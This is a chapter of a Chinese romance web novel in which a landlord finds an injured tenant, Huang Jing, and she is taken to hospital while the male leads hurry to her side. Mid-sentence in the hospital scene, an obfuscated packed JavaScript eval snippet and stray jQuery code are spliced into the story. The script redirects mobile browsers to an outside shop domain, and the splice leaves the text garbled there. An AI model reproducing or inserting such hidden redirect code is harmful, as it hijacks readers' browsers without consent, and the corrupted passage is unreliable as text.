于叔路过附近办点事，顺便来看看这姑娘住得怎么样。他是个退休的老北京人，见过太多租客来来去去，但黄晶是他印象最深的一个。
他当时觉得这丫头挺有意思，看起来年纪不大，做事倒是挺细。后来他还给她送过旧台灯的灯泡，她接过去时甜甜地笑着说了声“谢谢于叔”。
这几天他遛弯经过楼下的兰州拉面馆，总没见她出来吃面。阳台上的窗帘也一直拉着，不像以前那样会打开晒晒被子。今天刚好来小区检查水电表，想着顺路敲敲门。如果没人应，他打算打个电话就走的。
于叔敲了好几遍门，里面一点动静都没有。他贴着门板听了听，没有脚步声和水声，连床板的吱呀声都没有。他想起这姑娘平时虽然话不多，但每次碰见都会点头笑着打声招呼喊“于叔”，挺有礼貌的一个孩子。他又想起之前见到她时，她脸色就不太好，当时他以为是年轻人熬夜，没太在意，现在……
于叔掏出手机拨了她的号码，关机。这下他真的不放心了！他快步下楼去找物业，路上给老伴打了个电话，说晚点回去，这边有个租户可能出事了。
物业拿备用钥匙开了门。门推开时没有遇到阻力——黄晶平时睡前都会把阻门器顶上，但那天她回来后忘了。她太疼了，疼到忘了防护，忘了锁门，忘了把手机充上电。
窗帘全拉着，屋里很暗，空气里有一股隐隐的血腥味混着药味和久不通风的潮气。茶几上摊着打开的急救包，碘伏瓶子没拧紧，云南白药的粉末洒了几粒在桌面上。地上还有那件没来得及扔进垃圾桶的沾血衬衫。
黄晶裹在空调被里，侧躺在床上，嘴唇干裂起皮，脸色苍白得几乎和枕头融为一体。床头柜上搁着半杯水、一板少了好几颗的布洛芬、一卷没用完的纱布。
于叔站在门口，轻轻喊了她一声，没有回应。他又喊了一声，声音比之前更轻，像是怕惊醒她，又像是怕她再也醒不过来。
物业小伙子赶紧拨了120。于叔走过去，没有碰她，只是低头看了看她的脸，然后把被子往上拉了拉，盖住她露在外面的肩膀。他看见她睡衣领口下面隐约露出的一小截纱布边缘，叹了口气，没有说话。他大概猜到了一些事。
救护车到的时候，黄晶似乎被搬动时的震动弄醒了，眉头皱了一下，手指微微蜷缩，想抓住什么，但她没有力气睁开眼睛，只是在黑暗中听到一个遥远的声音说：姑娘，没事了，于叔在这儿。
黄晶不知道自己是在做梦，还是真的听到了这句话。但她记得那种感觉——那种很久没有被人当成需要照顾的小孩的感觉。
救护车开走之后，小区恢复了安静。于叔跟着去了一趟医院，在急诊室门口等了两个小时，直到医生说病人生命体征稳定、没有生命危险，他才松了口气，给老伴回了个电话说没事了。
消息比想象中传得更快。
物业那边有工作人员认识黄晶——就她凌晨被敲门声吓到、惊动了警察和外卖阿姨那次，后来黄晶在楼下送水果道谢，物业大姐对她印象很好。这次开门救人后，物业大姐在休息间跟同事提了一嘴，正好被楼上一个租户听见了。
那租户是个年轻的互联网公司运营，平时没什么存在感，但他有个大学同学正好在靳家的公关公司做事——圈子就这么大，一条消息从物业休息间流到商圈私人会所的茶桌上，只需要转两三个人。
最先知道的是苏衍之。他正在画廊和叶知秋讨论新展的布展方案，手机震了一下，是一条没有备注的号码发来的消息，只有两行字：黄晶，医院急诊，昏迷。
苏衍之低头看了几秒，把手机屏幕转向叶知秋，说今天的方案讨论先到这。叶知秋看了他的表情，没有多问，拿起自己的手稿起身离开。
苏衍之给霍云峥打了个电话，语气比平时少了那种惯常的笑意，只说了一句：“黄晶在医院，你去一趟。”
霍云峥正在开会，接到电话后把椅子往后一推，对助理说了句“会议暂停”，拿起外套就走。他从地库取车时，发现自己的手在方向盘上停了一秒。
霍云峥踩下油门，往医院方向驶去，路上拨了苏衍之的电话，只问了一个字：“谁？”
“不知道是谁送来的，只知道物业报了120，人现在在急诊。”
霍云峥沉默几秒，又问：“裴砚知道吗？”
苏衍之也沉默了几秒，“应该不知道。”
霍云峥没有再说话，挂断电话后拨了裴砚助理的号码。他说：“找到裴砚。不管他在哪。”
今天是母亲节，裴家老宅的午宴刚结束，裴砚正陪母亲在后院喝茶。沈静慈心情很好，絮絮叨叨说着裴钧婚礼的事，又说起上周和林家吃饭时林书蕴表现得体，暗示他多约人家出来走走。
裴砚端着茶杯听着，像往常一样沉默，只是偶尔点头。就在这时，助理敲门进来，走到他身边低声说了句什么。裴砚手里的茶杯在碟子上磕出一声轻响。他站起来，声音没有任何波动，对母亲说了句“有事”，然后转身往外走。
沈静慈叫他，他没有停。她从未见过儿子走得这么快。
裴砚走到门口时，车钥匙已经从口袋里掏出来了。他不知道自己是怎么把车开出老宅的，只知道导航上的医院地址正在一点点缩短。
急诊室的日光灯白得刺眼，消毒水的气味混着隔壁床家属低声的啜泣，在走廊里弥散不去。
黄晶被送进来时意识已经模糊，体温偏高，伤口周围红肿发炎，边缘有少量脓性分泌物——那刀口虽然不深，但几天没有规范换药，又被睡衣和纱布闷着，炎症早就悄悄蔓延开来。
医生剪开她自己缠的纱布时皱了皱眉，纱布缠得还行，但透气性差，伤口周围皮肤被闷得发白。
清创时黄晶无意识地皱了皱眉，手指微微蜷了一下，但没有醒，只是从喉咙里发出一声极轻的闷哼，像被困在梦里的动物。
护士给她重新消毒、涂了消炎药膏、换了无菌敷贴，输液袋挂在床头，抗生素和葡萄糖一滴滴往下坠。黄晶手指冰凉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17668886|206530||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
，护士扎针时找了两次血管才成功，她没有动，只是睫毛颤了一下。
走廊里传来脚步声。于叔回去给黄晶拿了几件换洗衣服——他知道女孩子住院不方便，让老伴从家里翻了些干净的毛巾和衣物。他坐在走廊的塑料椅上，把东西搁在旁边，没有进去打扰。
过了一会儿，霍云峥来了。他没有进病房，只是在门口站了片刻，看了一眼床上正在输液的人，转头问护士：“体温多少？伤口处理过了没有？”
护士翻了下记录，“三十八度四，已经清创换药，等烧退下来就没事了。”
霍云峥点点头，在走廊尽头站定，靠在墙上，手指间那只打火机没有转，只是安静地握在掌心里。
护士从病房出来，手里拿着一张住院登记表，“谁是家属？”
霍云峥刚要上前，走廊另一头传来脚步声，很快，很急。裴砚转过拐角时衬衫袖口的扣子还没来得及扣上，额头上有薄汗，手里的车钥匙还没收进口袋，整个人看起来像是一口气跑上来的。
护士又问了一遍：“谁是家属？”
裴砚走到护士面前，声音比平时更沉，但很稳：“我。她怎么样？”
护士低头在表格上记了几笔，“伤口已经处理过了，烧退了就没事。”
裴砚点了点头，然后转向于叔，认真地看着他，说了声“谢谢”。
于叔摆摆手，“我只是刚好去敲门，是这姑娘自己命大。”
裴砚轻轻推开病房门，走到床边坐下。
黄晶没有醒。输液管里抗生素一滴一滴地往下落，她的呼吸很浅但已经比刚才平稳。
裴砚低头看着她的手——放在被子外面，手指冰凉，指尖还残留着碘伏的黄褐色痕迹。他没有去握那只手，只是在床边安静地坐着，像那晚在车里一样——不说话，不碰她，只是守着。
霍云峥从走廊里往里看了一眼，看到裴砚坐在床边，以及她手指上那些碘伏痕迹。他收回目光，把手里的打火机放回口袋，转身走向电梯。
电梯门关上后，霍云峥靠在轿厢壁上，低头看着自己的掌心——那只打火机不知什么时候又被掏了出来，在他手里转了一圈，又停了。他收起来，没有再看。
护士手里那张住院登记表还空着好几栏——紧急联系人、身份证号、过敏史。于叔戴起老花镜，从上衣口袋里掏出一个小本子，翻到当初签合同时记的那一页，把身份证号和紧急联系人那几行都填上了。
紧急联系人那栏他想了想，写了“于泰”，号码是自己的手机号。他在关系那栏写了一个“房东”，顿了一下，划掉，在旁边写了“朋友”。
做完这些于叔把登记表递给护士，然后回到走廊里坐下。走之前他在病房门口往里看了一眼——裴砚坐在床边，没有碰她，只是在守着。
于叔没有进去，只是把手里那袋换洗衣服轻轻放在门边的椅子上，然后对护士说了句“我明早再来”，就一个人坐公交车刷了老年卡，在后排靠窗的位置坐下。